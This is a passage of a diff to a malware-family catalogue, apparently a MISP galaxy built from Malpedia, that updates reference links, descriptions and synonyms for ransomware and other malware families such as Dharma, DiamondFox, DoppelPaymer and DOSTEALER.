"https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", + "https://www.zscaler.com/blogs/security-research/ransomware-delivered-using-rdp-brute-force-attack", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", - "https://securelist.com/cis-ransomware/104452/" + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.acronis.com/en-us/articles/Dharma-ransomware/", + "https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securelist.com/cis-ransomware/104452/", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://cyberveille-sante.gouv.fr/cyberveille-sante/1821-france-retour-dexperience-suite-une-attaque-par-rancongiciel-contre-une", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://thedfirreport.com/2020/06/16/the-little-ransomware-that-couldnt-dharma/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://twitter.com/JakubKroustek/status/1087808550309675009", + "https://www.group-ib.com/media/iran-cybercriminals/", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/dharma-ransomware-uses-av-tool-to-distract-from-malicious-activities/" ], "synonyms": [ "Arena", @@ -20406,18 +21722,18 @@ "value": "Dharma" }, { - "description": "", + "description": "According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.\r\n\r\nOnce purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.\r\n\r\nDiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox", - "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF", - "https://www.scmagazine.com/inside-diamondfox/article/578478/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/", "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/", - "https://blog.cylance.com/a-study-in-bots-diamondfox", - "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", - "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/" + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", + "https://blog.cylance.com/a-study-in-bots-diamondfox", + "https://www.scmagazine.com/inside-diamondfox/article/578478/", + "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF" ], "synonyms": [ "Crystal", @@ -20434,18 +21750,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol", - "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", - "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", - "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", + "https://chuongdong.com/reverse%20engineering/2021/12/17/DiavolRansomware/", "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", + "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/", + "https://medium.com/walmartglobaltech/diavol-resurfaces-91dd93c7d922", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", + "https://heimdalsecurity.com/blog/is-diavol-ransomware-connected-to-wizard-spider/", "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/" ], "synonyms": [], @@ -20459,8 +21776,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dilljuice", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html" + "https://threatvector.cylance.com/en_us/home/threat-spotlight-menupass-quasarrat-backdoor.html", + "https://securelist.com/apt-trends-report-q1-2021/101967/" ], "synonyms": [], "type": [] @@ -20491,15 +21808,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "9fed4326-a7ad-4c58-ab87-90ac3957d82f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8f5ce8a6-c5fe-4c62-b25b-6ce0f3b724c5", "value": "Dimnie" }, @@ -20534,12 +21842,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dirtymoe", - "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", "https://decoded.avast.io/martinchlumecky/dirtymoe-4/", - "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", "https://decoded.avast.io/martinchlumecky/dirtymoe-3/", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" + "https://decoded.avast.io/martinchlumecky/dirtymoe-5/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-1/", + "https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/" ], "synonyms": [], "type": [] @@ -20552,8 +21860,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr", - "https://twitter.com/r3c0nst/status/1232944566208286720", - "https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/" + "https://insights.oem.avira.com/atm-malware-targets-wincor-and-diebold-atms/", + "https://twitter.com/r3c0nst/status/1232944566208286720" ], "synonyms": [], "type": [] @@ -20579,29 +21887,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack", - "https://securelist.com/shamoon-the-wiper-copycats-at-work/", - "https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - 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"https://cyber-anubis.github.io/malware%20analysis/dridex/", - "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/dridex-veh-api-obfuscation/", + "https://www.fortinet.com/blog/threat-research/new-dridex-variant-being-spread-by-crafted-excel-document?&web_view=true", "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://twitter.com/BrettCallow/status/1453557686830727177?s=20" + "https://cyber-anubis.github.io/malware%20analysis/dridex/", + "https://www.proofpoint.com/us/blog/threat-insight/ta575-uses-squid-game-lures-distribute-dridex-malware" ], "synonyms": [], "type": [] @@ -20822,63 +22161,65 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer", - "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - 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"https://twitter.com/vikas891/status/1385306823662587905", - "https://redcanary.com/blog/grief-ransomware/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", - "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", - "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://apnews.com/article/virus-outbreak-elections-georgia-voting-2020-voting-c191f128b36d1c0334c9d0b173daa18c", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://www.bleepingcomputer.com/news/security/core-doppelpaymer-ransomware-gang-members-targeted-in-europol-operation/", + "https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", - "https://techcrunch.com/2020/03/01/visser-breach/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://intel471.com/blog/ransomware-attack-access-merchants-infostealer-escrow-service/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://twitter.com/BrettCallow/status/1453557686830727177?s=20", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://techcrunch.com/2020/03/01/visser-breach/", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.ic3.gov/Media/News/2020/201215-1.pdf", + "https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer" + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding", + "https://twitter.com/vikas891/status/1385306823662587905" ], "synonyms": [ "Pay OR Grief" @@ -20893,10 +22234,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/", - "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/", "http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html", - "https://research.checkpoint.com/dorkbot-an-investigation/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/", + "https://research.checkpoint.com/dorkbot-an-investigation/", + "https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/" ], "synonyms": [], "type": [] @@ -20909,8 +22250,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", - "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [], "type": [] @@ -20918,6 +22259,37 @@ "uuid": "d3b5a884-1fd6-4cc4-9837-7d8ee8817711", "value": "Dorshel" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dosia", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", + "https://medium.com/@b42labs/data-insights-from-russian-cyber-militants-noname057-9f4db98f60e", + "https://decoded.avast.io/martinchlumecky/ddosia-project-how-noname05716-is-trying-to-improve-the-efficiency-of-ddos-attacks/", + "https://www.team-cymru.com/post/a-blog-with-noname" + ], + "synonyms": [ + "DDOSIA" + ], + "type": [] + }, + "uuid": "eabd30ed-d2ec-43b5-b790-7381f93a3a03", + "value": "Dosia" + }, + { + "description": "According to Mandiant, DOSTEALER is a dataminer that mines browser login and cookie data. It is also capable of taking screenshots and logging keystrokes.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dostealer", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3b4bf82d-5c57-4ea2-847d-f2fd292ba730", + "value": "DOSTEALER" + }, { "description": "", "meta": { @@ -20938,7 +22310,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback", - "https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html" + "https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/" ], "synonyms": [], "type": [] @@ -20952,8 +22325,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", - "https://twitter.com/Int2e_/status/1294565186939092994" + "https://twitter.com/Int2e_/status/1294565186939092994", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/" ], "synonyms": [ "VALIDATOR" @@ -20968,10 +22341,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar", - "https://github.com/countercept/doublepulsar-c2-traffic-decryptor", + "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/", "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit", - "https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/" + "https://github.com/countercept/doublepulsar-c2-traffic-decryptor" ], "synonyms": [], "type": [] @@ -20984,19 +22357,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html", - "https://cert.gov.ua/article/38088", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://cert.gov.ua/article/38088", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero", + "https://unit42.paloaltonetworks.com/doublezero-net-wiper/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", "https://blog.talosintelligence.com/2022/03/threat-advisory-doublezero.html" ], "synonyms": [ @@ -21012,25 +22389,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph", - "https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html" ], "synonyms": [ "DELPHACY" ], "type": [] }, - "related": [ - { - "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", "value": "Downdelph" }, @@ -21053,9 +22421,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper", - "https://www.infinitumit.com.tr/apt-35/", + "https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", "http://www.clearskysec.com/charmingkitten/", - "https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + "https://www.infinitumit.com.tr/apt-35/" ], "synonyms": [], "type": [] @@ -21094,14 +22462,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot", - "https://community.riskiq.com/article/30f22a00", - "https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122", + "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", + "https://community.riskiq.com/article/30f22a00", + "https://lokalhost.pl/gozi_tree.txt", "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality", 